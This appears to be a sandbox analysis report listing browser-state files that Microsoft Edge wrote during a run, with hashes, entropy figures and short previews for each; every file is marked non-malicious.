C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2585726359835325
Encrypted:	false
SSDEEP:	6:HpWL+q2PCHhJ23oH+TcwtfrzAdIFUt8YpA1Zmw+YpjlLVkwOCHhJ23oH+Tcwtfrm:JLvBYeb9FUt8GA1/+Gjz56Yeb2J
MD5:	402C2328176899016A1D524FEE8F704C
SHA1:	3D7FFD112E5606323E5AD6D579C0A727AFE94551
SHA-256:	9FD8E4271C9F446F8C089D837A4C89E4D8B34A601919E72CAC44CC77A7B6ABD6
SHA-512:	6D795D0F7466F4B67A9C1455C865ED91ABCD0DB4368DAE172E998D72DC6804C26257E53C0D6A1F0CE27ED15CAD71D9359FF928BCEF12671EB78659ACEB4E8D8C
Malicious:	false
Preview:	2024/11/24-21:39:38.292 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-21:39:38.292 1758 Recovering log #3.2024/11/24-21:39:38.293 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29afe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29b1d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29cc3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2c394.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF300dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ad96.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40a2e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09056274980856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kUCLmZtMtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynbtGhOxqQoRTuiVIos
MD5:	9B463CC4F107A6F4FC25EE2EFAAB9788
SHA1:	BCA72EB57876C506870F53A8D47DF4D1B6643DD5
SHA-256:	DBC6F2E980BD1FB4E5518FED13CBC99E9B7EEEEC864A44254C5B1561BA8190FF
SHA-512:	9F10BD6C6B0B1A54E22D77EA15F04149374EFE2FAD1B4061F82E1E3C5FBFF42E608BFBB7E195B8D57133ECD1524A9759B1CA34C9FED41712813606B3FADD3A69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": 